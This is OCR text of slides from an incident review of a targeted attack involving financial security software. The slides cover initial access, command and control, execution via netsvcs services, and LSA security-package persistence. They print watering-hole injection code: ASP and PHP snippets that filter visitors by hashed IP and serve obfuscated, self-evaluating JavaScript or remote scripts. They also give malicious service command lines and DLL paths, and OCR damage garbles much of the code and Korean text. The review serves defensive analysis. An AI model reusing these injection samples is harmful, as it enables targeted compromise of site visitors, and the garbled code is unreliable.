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Short Review: Incident in a Financial Security S/W
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Short Review: Incident in a Financial Security S/W
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ATTRIBUTION. Summary

Initial Access

« Zero-day exploit code

e Fully Targeted Attack

Command and Control: Web-based Command and Control Systems

Execution: Execute malwares via service (in netsvcs)

Persistence

e« HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages » C:\Windows\System32\




ATTRIBUTION. Initial Access - Exploit
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ATTRIBUTION. Initial Access - Exploit
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ATTRIBUTION. Initial Access - Exploit
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<O

ip = Request.ServerVariables("HTTP_CLIENT_IP")

Ifip = " Then

ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
Ifip = "" Then

ip = Request.ServerVariables("REMOTE_ADDR")

End If

End If

If MD5(Left(ip. 100) = "9892% M oI L 5 g™ 1% 9397 1f¢7 Or MD5(Left(ip, 11)) =
"b3a4f1 i *.17.9e94" Or MD5(Left(ip, 11)) =
"8f2277 &% s P :11191f" Or MD5(Left(ip, 12)) =
"539a85 " v aw ¥ “36add1" Or MD5(Left(ip, 9)) =
"69d 162 g E D g el e 88d 246" Then

<script language="'javascript'>

{vOd5bN=unescape 0% 5%1F/%21_%02D56X%02%0Fjf%0D%1F%0C0%25%5C%13J16RKM
*0E%06%19xk% 1E%1A%034%21E%00% 5DX%09-%29%1E%06%18-
%20D%15%1Em7D%14%06+7EED%23 626y%08N%5Dtc%11%01%03%260YK%5BIw%00V%
02%27-

V9% 1E%1E%7Fu%1FE%5B%7Cx%1E% 1F%0C0%25%5C% 13T%60m%0AD 1vjBR32Bx1A");Ws0hq3=vO
d5bN.substr(0,vOd5bN.length - 7);_1bl8d9=Ws0hqg3.substr(Ws0hg3.length-
s0hg3=Ws0hqg3.substr(0,Ws0hg3.length-

o

[}

[0

07%23%28%

\9%03

o

):t0J3rO5Gk=";for(mAR=0;mAR<Ws0hg3.length;mAR+ +)t0J3rO5Gk+ =String.fromCharCode(Ws0h
g3.charCodeAt(mAR)*_1bl8d9.charCodeAt(mAR%5));,vOd5bN=t0J3rO5Gk;eval(vOd5bN);}
</script>

End if

9,
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ATTRIBUTION. Initial Access - Fully Targeted Attack

function GetIP()

if (getenv("HTTP_CLIENT_IP") & strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HITP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")
$ip = getenv("RENOTE_ADDR");
else if (isset($_SERVER['REMOTE ADDR']) &% $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "Unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "Unknown";

return $ip;

}

$ip = GetIP();

$ips = explode('.', $ip);

$ip b = md5($ips[e].".".$ips[1].".");

$ip_c = md5($ips[e].'.".$ips[1].".".$ips[2].".");

$ip_d = md5($ip);

$ua = strtolower($_SERVER[ 'HTTP_USER_AGENT']);

$ip_c_s_lst = array (902 : we:bal63b’, 86662 o i3ef', '57eld9cfc
$ip_d_s_lst = array ('4dse. ; Teii793e56", '79a3d8™ e@', '27el7a2at
if (in_array($ip_c, $ip_c_s_lst) || in_array($ip_d, $ip_d_s_lst))

{

<script src="https:/ www m. 2w “aditor/popup/lib/jquery_min_ui.js"></script>
<script src="https:/ www m. 2w taditor/popup/lib/?idx=90347"></script>
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ATTRIBUTION. Command and Control
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ATTRIBUTION. Command and Control
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ATTRIBUTION. Execution

AAS0] MBI AT} XSS UC e B
A H|= O] &: Windows Helper Management Service

MU= DY 0| &: %SysternRoot%WSystemn32wsvchost.exe -k netsvcs
MU= S8 AIZXF BC Md|=

MH|= AlZ R XS A%}

M= AFE: LocalSystern

Ad|A O|&8: NWCWorkstation

AMH|A IHQ 0|8 %SystemRoot?:#System32¥svchost.exe -k netsves
MHUIA % ANEX SC MH A

MH|A AR} K3 X8 AR

AMH|A 37 LocalSystem

2018 2020

AIZZ0] MH[ 27 X EASHCH

AH|£ 0| &: RealTek

MH| & THY 0| 2: %SystemRootwSystem32wsvchost.exe -k netsves -p -s RealTek
AMH|2 §3: AHEX 2 MH|2

M| 2 AR R AHE AR

MH|2 A7: LocalSystem

2021

Al2"of MB|27F 2R = ASLCH

MH|A O|&: WinRMSvc

AMH|A It O|&: cmd.exe /c start /b C:WProgramData#PicPick¥wsmprovhost.exe 1KmSvyn2Dcmu4Scg9vyakrecaVZs7bxl+0/bYgGbvXPmdm3/OmCmzKIG1VTMDhGO
ME|A §8: AL8XF 2E MH[A

MHEIA AR RF: XHS AR

MH|A AE: LocalSystem
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ATTRIBUTION. Execution

st xpul3|

WinRMSve MH|A HZE 7|Ct2|= S Mg A2l = RS LICH90000 2| X).

At xpM|B|

CtS 2 F2 28] WinRMSve MH|AE A|R}SIX] 23 SL|Ct
ME[ATF AIEFO[LE KO 20| WEAH SESHA| &S LIC
rrocessratn \bevice\HaraaliskKvolumeZ\W1lnaows \>ystTem32\SVCnostT. exe

ProcessCommandLine.. 53 (©x0035)
ProcessCommandLine  C:\Windows\System32\svchost.exe -k netsvcs -s PCAudit

ProcessId 8308 (0x00002074)
ProcessCreateTime 2023-06-20712:28:51.9049128
ProcessStartKey 2251799814107605 (0x00080000000671D5)

ProcessSignatureLe.. © (0x00)
ProcessSectionSign.. @ (0x00)

ProcessProtection 0 (0x00)

TargetThreadId 11392 (0x00002C80)
TargetThreadCreate.. 2023-06-20T12:28:51.9443449
RequiredSignatureL.. 8 (0x08)

SignaturelLevel 1 (exe1)
ImageNameLength 38 (0x0026)
ImageName \Program Files\Windows Mail\wabimg.d1ll
ProviderId fae10392-feaf-4aco-bsff-9fado2ec3cdf
ProviderName Microsoft-wWindows-Security-Mitigations
EventRecordID 123 (0x000000000000007B)
Task 6 (0x00000006)
TaskDisplayName
ThreadId 11392 (0x00002C80)
TimeCreated 2023-06-20T12:28:52.0734622
Version 0 (0x00) XA
Message "\Device\Harddiskvolume2\Windows\System32\svchost.exe' Z2A|A(pID 8308)2| Microsoft AMEHO| 2= '\Program Files\Windows Mail\wabimg.d11l' HIO|H2| 27t AHHE| RS = UASLICH KISC
UserId S-1-5-18 XOREAINERNET SECURTY CNTER

S 4



ATTRIBUTION. Persistence

Autorun Entry Description Publisher Image Path
2 HKLMWSYSTEMWCurentControl Set WControlWLsa W Securty Packages
v| 4 asap c M windowsYrsystem 32 asap dil
Security Packages 30 Unknown

Extents ¢ Permissions [# Hash Sets [ Attributes

.oovoo 2023 B" thproc.sys
C:\Windows\System32\asap.dl| C:\Windows\System32\cgproc.sys
C:\Windows\System32\thproc.sys C:\Windows\System32\WndmPmSps.dl
C:\Windows\System32\gmrproc.sys C:\Windows\System32\nrproc.sys
C:\Windows\System32\gmasvc.dll C:\Windows\System32\srcsvc.dat

C:\Windows\System32\vuproc.sys C:\Windows\System32\Ntmssvc.dll
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